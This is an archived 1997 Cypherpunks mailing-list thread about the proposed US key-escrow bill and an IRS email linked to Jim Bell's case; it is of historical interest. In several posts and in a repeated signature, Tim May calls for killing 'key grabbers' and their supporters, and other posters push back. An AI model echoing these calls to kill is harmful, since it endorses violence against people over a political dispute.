At 3:25 PM -0700 7/18/97, Steve Schear wrote:
>At 1:36 PM -0700 7/18/97, Lizard wrote:>Frankly, I find it mildly
>>amusing no one has asked the Congressional defenders of key escrow, point
>>blank, "What safeguards do you have against keys falling into the hands of
>>the next Ames?" Who watches the watchmen?
>
>Why not go one step further and get the strong crypto supporters in the
>Senate to tack on an ammendment to the McCain-Kerrey-bill forcing the FBI
>and our most secret security agencies to use the very same
>government/industry escrow entitites (but not any of the intelligence
>organizations themselves) for all their encrypted data storage and
>communications traffic and requiring regular GOA compliance reviews.

Beware this line of reasoning.

The fundamental reason why I will not turn over my keys, my diaries, my
tapes, my writings to some third party has nothing to do with this sort of
issue.

I really don't care if the Feds escrow their keys with the Pope...my keys
will *not* be given to anyone other than whom I choose to give them to.
Period.

All of this brainstorming about who might be the best choice to hold
"escrowed" keys, a la the reporter stooge Shea, or about requiring the Feds
to use the same escrow system, misses this basic point. And plays into
their hands.

Kill the key grabbers and all those who support them. Isn't it exactly what
Patrick Henry, Thomas Jefferson, and the others would have argued?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 19 Jul 1997 13:39:12 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Keepers of the keys
Message-ID: <3.0.32.19970718221924.00aea760@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:10 PM 7/18/97 -0700, Tim May wrote:
>All of this brainstorming about who might be the best choice to hold
>"escrowed" keys, a la the reporter stooge Shea, or about requiring the Feds
>to use the same escrow system, misses this basic point. And plays into
>their hands.
>
>Kill the key grabbers and all those who support them. Isn't it exactly what
>Patrick Henry, Thomas Jefferson, and the others would have argued?
>
Sure. And that is, of course, the bottom line. But even if I was a rabid
national security freak, I'd *still* oppose key escrow, because it makes
the nation *less* secure. It's a loser on both liberty *and* security
grounds, and, since the liberty issue has already been conceded, the
(political) battleground is security. The "key escrow exposes us to spies"
meme has the capability to graft into the same mental reception points that
the "key escrow will save us from terrorists" meme is currently attached
to, much as 'blocker' viruses can prevent other viruses from infecting cells. 

If I were heading the NSA/CIA/FBI/etc, I'd be putting my budget into
getting ringers onto every BBS, every IRC channel, every 'warez' group,
every mailing list, everywhere, not wasting time on 'key escrow' when the
people I'd be most interested in tracking would never ever in a million
years turn their key over to the government. I'd be infiltrating,
subjerting, and getting keys the old fashined way -- by tricking people
into giving them to me. A key can be a gigabit in length and still be
cracked just by watching what someone types in to decode a message, and the
technology to do *that* is decades old, as are, sadly, the wiretap laws to
permit it. The "legitimate needs of law enforcement" are already far too
well served by existing holes shot in the Constitution -- there is no need
to make more, and doing so will defeat the putative aims of the hawks, as well.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 19 Jul 1997 14:59:35 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <v03007821aff614460e33@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:56 PM -0700 7/18/97, Alan wrote:
>I recieved this today via e-mail.  I find it strange since I have never
>asked to be put on any sort of "interest list" by anyone at the IRS.  (And
>my Cypherpunks mail shows up at a different address.
>
>Did anyone else get this?
>
>alano@teleport.com | "Those who are without history are doomed to retype it."
>
>---------- Forwarded message ----------
>Return-Path: irsnwpr@net.insp.irs.gov
>Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov
>[204.151.245.2]) by desiree.teleport.com (8.8.5/8.7.3) with SMTP id
>PAA28119; Fri, 18 Jul 1997 15:49:41 -0700 (PDT)
>Received: by tcs_gateway1.treas.gov id AA19658
>  (InterLock SMTP Gateway 3.0); Fri, 18 Jul 1997 18:47:00 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
>  Fri, 18 Jul 1997 18:47:00 -0400
>Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
>  Fri, 18 Jul 1997 18:47:00 -0400
>Date: Thu, 17 Jul 1997 12:29:08 -0400
>From: IRS Inspection <irsnwpr@net.insp.irs.gov>
>Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
>To: Interested-Parties@net.insp.irs.gov
>Subject: Something of Interest

I got a copy as well.  My headers were:

Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by mail6.netcom.com (8.8.5-r-beta/8.8.5/(NETCOM v1.01)) with SMTP
id QAA11850
	for <frantz@netcom.com>; Fri, 18 Jul 1997 16:10:18 -0700 (PDT)
Received: by tcs_gateway1.treas.gov id
  (InterLock SMTP Gateway 3.0 for frantz@netcom.com);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 19:10:08 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-0);
  Fri, 18 Jul 1997 19:10:08 -0400
Date: Thu, 17 Jul 1997 12:30:03 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
X-UIDL: 49a4fae189334b3747644ffa79a10878


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 19 Jul 1997 13:59:27 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.GSO.3.95.970719015013.17780A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.

Is it just me, or does anyone else remember a similar message being pumped
out about the same time Bell was raided (April 1).

-Declan


On Fri, 18 Jul 1997, Alan wrote:

> 
> On Fri, 18 Jul 1997, Tim May wrote:
> 
> > 
> > At 3:56 PM -0700 7/18/97, Alan wrote:
> > >I recieved this today via e-mail.  I find it strange since I have never
> > >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > >my Cypherpunks mail shows up at a different address.
> > 
> > What makes you think the "interest" is your interest in them?
> > 
> > It's _their_ interest in _you_.
> 
> Yes.  It looks like every e-mail address on Jim Bell's computer got this
> nice little "warning/example".
> 
> Has there ever been a case where seized e-mail addresses have been used to
> spam those listed with the results of the case?
> 
> Where is Declan when you need him. ]:>
> 
> > Yes, I got _two_ copies of this message. I'm waiting to confirm it was
> > really sent by a sender at the IRS, namely, " IRS Inspection
> > <irsnwpr@net.insp.irs.gov>", before taking action.
> 
> If it is a forgery, it is a *very* good forgery.  The addresses in the
> header are registered to the US government.  The headers do not look like
> the standard sendmail spoof.  It looks pretty damn legit to me.  (I have a
> freind who also recieved this that has his copy of sendmail to keep pretty
> impresive logs as to sender's identity.  It does not look like a spoof,
> unless they hacked behind the IRS firewall.)
> 
> 
> alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
> Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 19 Jul 1997 14:03:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280aaff5e21c6521@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970719015225.17780B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



FYI, Joe Shea filed one of the lawsuits against the CDA, Shea v. Reno, on
his own. He refused the join the ACLU's lawsuit against the act, calling
them pro-porn or somesuch. He's calmed down a bit since then,I think. His
lawsuit was put on hold by the SupCt while Reno v. ACLU was decided,then
the lower court's decision was summarily affirmed. Ironically, Shea was
represented by the same law firm that lost the Pacifica case.

I have a PCWorld article I wrote about Shea's suit a year+ ago at:
   http://www.eff.org/pub/Publications/Declan_McCullagh/

-Declan


On Fri, 18 Jul 1997, Tim May wrote:

> [fight-censorship@vorlon.mit.edu removed, as we are getting incredible
> amounts of cross-pollution from lame posters who don't understand even the
> basics of liberty. Disgusting.]
> 
> 
> At 1:52 PM -0700 7/18/97, Colin Rafferty wrote:
> >Joe Shea (via Declan McCullagh) writes:
> >
> >> 	Declan, what would you think if the actual keepers of the keys,
> >> so to speak, were the courts, such as the Administratoive Office of the
> >> US Courts?  That would at least seem to reduce a lot of the possible
> >> privacy concerns.  One has the sense that once they get into the hands of
> >> the varius agencies, they'll get back out.
> >
> >Why do I feel like we are going around and around in circles?
> >
> >How about we give copies of our house-keys to the courts?  We should
> >also send them our old backup tapes, just in case they need them, too.
> 
> I obviously agree with Colin on this. My communications, writings, and
> diaries are *mine*.
> 
> I have no idea who this "Joe Shea" is, but he seems ignorant of basic
> concepts of life in a free society. Suggesting "better" holders of keys is
> beside the point.
> 
> Anyone who tries to grab my keys should be killed.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Mon, 21 Jul 1997 15:26:20 +0800
To: cypherpunks@toad.com
Subject: New Mixmaster Key
Message-ID: <199707190106.CAA05232@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----




This is a new public key (reflecting a change in passphrase).
I have changed the passphrase because I showed it to someone
while testing beta versions of Mix 204 (not very bright of me
to use the same phrase in a production version of course).

The old key still works until I phase it out in a little while.

The remailer name is now all lower case (and the long name
is less juvenile).


Here is the public key for mccain anonymous remailer:

=-=-=-=-=-=-=-=-=-=-=-=
mccain mccain@notatla.demon.co.uk ce919b441a1b82524d3284c49f34a77d 2.0.4b2 MC

- -----Begin Mix Key-----
ce919b441a1b82524d3284c49f34a77d
258
AATPQhiB8EQPG8u1OYqnCzf3H51bjpB1F0SpJoNI
QNTAgqzjxZYteO6tXJQ9x0dJSEfLiAqdHpxn8IAS
W7Bb9PNISWpOclgWS9jXB0/37VX83zPJgM/Wv6lK
ICu1HJUSysIlQGH2sCaarvQr6fqCo9Pqks443hDJ
sV+P6BlI24HFvwAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
- -----End Mix Key-----


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAgUBM9ASxErZ5ZQH9XIxAQFpbgP/fbc3au03jAsdc/Qe/raRDxol5iQaVJ7D
8ifbHMyTX0S0RiLpv7rnGQ0B+g6MzXndByoSOmwbacWfHx07WjECr4fQTqyYxQnh
A9Q1sJGXqvFaqUkYyB9FdKH6v4QeHT+Z1xeUbiAM1f8PP5eUu6XuUsoNFKTw6ZDY
WxaQFGGg/bA=
=Xab6
-----END PGP SIGNATURE-----

--
###############################################################
# Antonomasia   ant@notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 19 Jul 1997 16:21:39 +0800
To: cypherpunks@toad.com
Subject: Two Birds With One Stone / Re: Keepers of the keys
Message-ID: <199707190808.CAA16800@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Joe Shea wrote:
>         And if Tim May does kill me, I hope someone has his key, or better
> yet, can go make a showing to a judge and get it from him.

  It is much more likely that a federal agent, using Tim's escrowed key
to read his opinion of you, would whack you out and set Tim up for the
crime, thereby eliminating two troublesome birds with one stone.

> There are
> plenty of them, though, and they are moving vast sums of stolen money and
> nuclear weapon parts and stolen information all over the globe.  I see no
> reason why we should be defenseless against them.

  We are defenseless against them because they are working for the same
fucking governments that you want to give your crypto keys to.
  Key escrow is meant for fucking the little guy in the ass, not the
major players.

> On the other hand,
> if someone's going to blow up San Francisco this week, it sure would help
> to have a key to any encrypted communications he was generating.

  Yeah, sure. I use an escrowed key to communicate about all of my
criminal activities, and I send the FBI a cc: on all of them.
  It sure would help if LEA's all had access to the American Reporter's
files so that they could censor any writing that might encite someone to
blow up San Franciso.
  Why don't you send them all of your writing for approval, Joe? If all
the people in favor of key escrow would allow the government total
access
to all of their communications, then the drop in crime would more than
make up for that commited by those who use encryption.

  If you can't afford to buy a clue, Joe, then try renting.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Sat, 19 Jul 1997 11:22:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.96.970719030212.12918G-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
> 
> Did anyone else get this?

I did.  I may have been declared an `interested party' because I host
a copy of Bell's AP essays.  I certainly never asked to be put on
their list :)  (Also, it came to me via an older address, one which I
was about to close; if _this_ kind of weirdness keeps showing up,
I may have to keep it a while longer.

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeremy Mineweaser" <jeremym@r32h211.res.gatech.edu>
Date: Sat, 19 Jul 1997 16:04:30 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Alan's message of "Fri, 18 Jul 1997 15:56:42 -0700 (PDT)">
Message-ID: <3.0.3.32.19970719035021.00c4d7f0@r32h211.res.gatech.edu>
MIME-Version: 1.0
Content-Type: text/plain




>Alan  <alano@teleport.com> writes:
>
>> I recieved this today via e-mail.  I find it strange since I have 
>> never asked to be put on any sort of "interest list" by anyone
>> at the IRS.  Did anyone else get this?

I received a copy of this earlier today via a low-traffic mailing list
devoted to discussion of prisoner's dilemma games.  Upon receiving
the message, the connection between PDG and Jim Bell wasn't 
immediately obvious, but then I remembered that Jim Bell was
also a subscriber to that mailing list.

It's quite probable that the IRS sent a copy of their press release
to all of the forums where they had records of Bell's involvement.

Did others receive this message directly, or via mailing lists?

.jlm


---
Jeremy Mineweaser <jlm@null.net>

Life results from the non-random survival of randomly varying
replicators. -- Richard Dawkins 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 19 Jul 1997 16:21:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>The charges stem from an investigation initiated in October, 1996 by IRS
>Internal Security Inspectors into reports that BELL was gathering the names
>and home addresses of IRS employees. In previous court hearings, IRS
>Inspectors testified that BELL had obtained the names and home addresses of
             ^^^^^^^^

Anybody know what hearings this is referring to - and when they took place? 
If memory serves me correctly, I seem to recall that Bell had waived speedy
trial rights in lieu of negotiations.  Hence, it seems strange that pre-trial
hearings occurred.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM9B1tz5A4+Z4Wnt9AQFnVwQAjPOA5JdFCSQFesh8qLSG5RTDQhSKTWOH
Ggb8iFJS9KutaYOShs7n/zdjf5HvLkYIqn6n+bzGh+lPROcfFn95TwXQ0StS1oH/
Z+9e9ZOEPog5h0sUjT2kr75TZza4xA3LtPTgGOyuCmWBLUCj3njp3yxJoFk/+GK2
skmtIxLQYj4=
=c2LT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Sat, 19 Jul 1997 19:20:09 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: RE: Keepers of the keys
Message-ID: <199707191109.HAA12154@u2.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain



Aside from the privacy principle arguments, there is the very same logistics problem, securely keeping hundreds of millions of keys, fully up to date (many people and operations change keys every day or week) sufficiently secure as to be tamper-ptoof yet sufficently accessible to  retrieve in 2-3 hrs as required by LEAs. They can't even keep much smaller amounts of INS info without major screw-ups.

Interestingly, there is a special federal court which authorizes wire taps on foreign 'national security' targets.  No request has ever been turned down.

The only way to keep keys secure in the long run is to let the owners be responsible for their own security.

******************************************************
Jay Holovacs   holovacs@idt.net   PGP

Annoy Big Brother -- use PGP

". . . one of the most difficult problems confronting law enforcement 
as the next century approaches" FBI Director Freeh
******************

==========================
   >From:    	Declan McCullagh <declan@well.com>
    >From: Joe Shea <joeshea@netcom.com>
   >To: Declan McCullagh <declan@well.com>
   >Cc: fight-censorship-announce@vorlon.mit.edu
   >Subject: Re: FC: Brookings Inst. on crypto: "There are reasonable compromises"
   >
   >	Declan, what would you think if the actual keepers of the keys, 
   >so to speak, were the courts, such as the Administratoive Office of the 
   >US Courts?  That would at least seem to reduce a lot of the possible
   >privacy concerns.  One has the sense that once they get into the hands of 
   >the varius agencies, they'll get back out.
   >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 19 Jul 1997 22:41:29 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <Pine.GSO.3.95.970718191915.29745E-100000@well.com>
Message-ID: <19970719072518.07383@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 18, 1997 at 07:19:31PM -0700, Declan McCullagh wrote:
[...]
> This goes back to the original debate: pragmatism vs. principle. How do
> you stand on principle and remain an effective advocate in Washington? If
> you navigate the route of pragmatism and compromise, what does that mean
> for civil liberties? Can you avoid compromising them away?

A quote you may find interesting:

"The debate between compromise and principle is a false debate, 
because principle doesn't speak, it acts.  People don't compromise 
their principles -- they simply mis-identify them."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 19 Jul 1997 22:58:31 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <19970719074314.59778@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
[usual rant deleted]
> 
> Kill the key grabbers and all those who support them. Isn't it exactly what
> Patrick Henry, Thomas Jefferson, and the others would have argued?

Amazing.  Patriotism -- the last refuge of the scoundrel.

However, Patric Henry said something like "Give me liberty or give me
death." That is really very different from "Kill everyone who opposes
me and all their supporters." Tim doesn't seem to understand this
nuance. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 19 Jul 1997 20:13:44 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719040748.006e9174@pop.mhv.net>
Message-ID: <Pine.GSO.3.95.970719080410.20705A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Perhaps when the government was arguing before the Fed. magistrate that
Bell should be held without bail? Or, more likely, when the IRS was trying
to get the search then arrest warrant...

-Declan


On Sat, 19 Jul 1997, Lynne L. Harrison wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> >The charges stem from an investigation initiated in October, 1996 by IRS
> >Internal Security Inspectors into reports that BELL was gathering the names
> >and home addresses of IRS employees. In previous court hearings, IRS
> >Inspectors testified that BELL had obtained the names and home addresses of
>              ^^^^^^^^
> 
> Anybody know what hearings this is referring to - and when they took place? 
> If memory serves me correctly, I seem to recall that Bell had waived speedy
> trial rights in lieu of negotiations.  Hence, it seems strange that pre-trial
> hearings occurred.
> 
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQCVAgUBM9B1tz5A4+Z4Wnt9AQFnVwQAjPOA5JdFCSQFesh8qLSG5RTDQhSKTWOH
> Ggb8iFJS9KutaYOShs7n/zdjf5HvLkYIqn6n+bzGh+lPROcfFn95TwXQ0StS1oH/
> Z+9e9ZOEPog5h0sUjT2kr75TZza4xA3LtPTgGOyuCmWBLUCj3njp3yxJoFk/+GK2
> skmtIxLQYj4=
> =c2LT
> -----END PGP SIGNATURE-----
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Sun, 20 Jul 1997 00:00:47 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.1.32.19970718133642.00b6ee70@dnai.com>
Message-ID: <v03102804aff6925f5e48@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
>[usual rant deleted]
>>
>> Kill the key grabbers and all those who support them. Isn't it exactly what
>> Patrick Henry, Thomas Jefferson, and the others would have argued?
>
>Amazing.  Patriotism -- the last refuge of the scoundrel.
>
>However, Patric Henry said something like "Give me liberty or give me
>death." That is really very different from "Kill everyone who opposes
>me and all their supporters." Tim doesn't seem to understand this
>nuance.
>
I think Tim is thinking of:

	"The tree of liberty must be refreshed from time to time,
	 with the blood of patriots and tyrants."

which, of course, was written by Jefferson.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 23:58:57 +0800
To: cypherpunks@Algebra.COM
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <m2yb73di77.fsf@altair.xemacs.org>
Message-ID: <v03102810aff69260ceb1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:50 AM -0700 7/19/97, Jeremy Mineweaser wrote:
>>Alan  <alano@teleport.com> writes:
>>
>>> I recieved this today via e-mail.  I find it strange since I have
>>> never asked to be put on any sort of "interest list" by anyone
>>> at the IRS.  Did anyone else get this?
>
>I received a copy of this earlier today via a low-traffic mailing list
>devoted to discussion of prisoner's dilemma games.  Upon receiving
>the message, the connection between PDG and Jim Bell wasn't
>immediately obvious, but then I remembered that Jim Bell was
>also a subscriber to that mailing list.
>
>It's quite probable that the IRS sent a copy of their press release
>to all of the forums where they had records of Bell's involvement.

Speculating, this use of mailing lists, if true, could well be a violation
of the law (I'm thinking of the Electronic Communications Privacy Act, the
ECPA...it may place limits on what, if anything, can be done with e-mail
records obtained that are not part of an original search warrrant).

It certainly appears that the IRS has sent "warnings" out to all of us
active in the debate. It appears they used the addresses found in e-mail at
Bell's residence, from some of the comments here (especially that other
lists besides the Cypherpunks list were involved).

On the other hand, the relevance to Prisoner's Dilemma games is pretty obvious:

"Mr. Bell, if you confess and plead guilty, you'll receive a one-year
prison term. If you don't confess, when we find you guilty you'll receive
the maximum term. If you confess but Mr. May _also_ confesses, you'll still
receive the maximum term. If neither of you confesses, you'll still be
found guilty. So, what'll it be?"

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 00:38:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <v03102811aff6988c41df@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:51 AM -0700 7/19/97, Marshall Clow wrote:
>At 7:43 AM -0700 7/19/97, Kent Crispin wrote:
>>On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
>>[usual rant deleted]
>>>
>>> Kill the key grabbers and all those who support them. Isn't it exactly what
>>> Patrick Henry, Thomas Jefferson, and the others would have argued?
>>
>>Amazing.  Patriotism -- the last refuge of the scoundrel.
>>
>>However, Patric Henry said something like "Give me liberty or give me
>>death." That is really very different from "Kill everyone who opposes
>>me and all their supporters." Tim doesn't seem to understand this
>>nuance.
>>
>I think Tim is thinking of:
>
>	"The tree of liberty must be refreshed from time to time,
>	 with the blood of patriots and tyrants."
>
>which, of course, was written by Jefferson.

I wasn't giving any specific quote--I was referring to the general
principles. Apparently Kent Crispin, whom I blissfully killfile, is a
literalist. Some would say anal-retentive.

Can there be any doubt what the reaction of the Founders and other patriots
would be were they to be transported to our modern era and learn that there
are proposals that all citizen-units are to be required to deliver the keys
(and hence the contents) for their most private communications to the King?
Er, I mean, "the Government."

All in the name of stopping "subversion" and other bad things? Jefferson's
revolution every 20 or so years would certainly qualify as subversion...no
doubt Jefferson would be interested to learn that the Government proposes
and end to all such plottings.

No doubt the government of Myanmar (Burma) will be anxious to have the
escrowed keys of the rebels in the jungles. (I pointed this out to Phil
Zimmermann and other PGP, Inc. employees at a Cypherpunks meeting several
months ago, as Phil and others described mounting pressures to make PGP
acceptable for government purchase orders, and "discussions" PGP, Inc. was
having with government bodies.)

Recall the "Enemies List" I posted several months back...basically, there
are hundreds and hundreds of classes of people who are enemies of various
governments. Jews, rebels, IRA, Mormons, Scientologists, Red Brigade,
Militia of Montana, and on and on. All of these groups would feel the brunt
of any key escrow policies here or abroad.

(You do all know, I presume, that wiretaps and surveillance can be gotten
without a normal court order if _any_ foreign contact is suspected? Cf.
details on the Foreign Intelligence Surveillance Act, FISA, the special
court meeting in Arlington, VA, and even more recent, sweeping legislation
a few years ago, the Anti-Terrorism Act of 1995 (or language similar to
this). It basically gave new sweeping powers to surveil and wiretap any
organizations or persons suspected of supporting terrorist
organizations....I'd say this makes the Cypherpunks list and all those on
it eligible for warrantless surveillance. As if we didn't know this.
Whether the Feds bother is another matter, of course. But they could.)

And speaking of quotes, Ben Franklin had a pretty good one with his quote
about those favoring security over liberty deserving neither.

BTW, notice how in the comments of reporter stooge Shea, and weapons lab
stooge Crispin, the debate has shifted back to _domestic_ key escrow? Shea
was talking about stopping crimes by requiring keys be escrowed with
Circuit Court judges--clearly he was talking about domestic key escrow.

How many Amendments would this be in violation of? The First, by
proscribing that only certain forms of speech (escrowed key forms) are
acceptable. The Fourth, by violating the "secure in one's papers and
possessions" (or similar) language, as key escrow would let any bored clerk
or snooping agent examine one's papers. The Fifth, against compelled
testimony against oneself. And probably others.

But I'm sure we can count on the EFF, ECPA, EPIC, and other industry groups
to craft a reasonable compromise which will ensure continuing profits to
corporate sponsors while eviscerating the rights of ordinary Americans.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
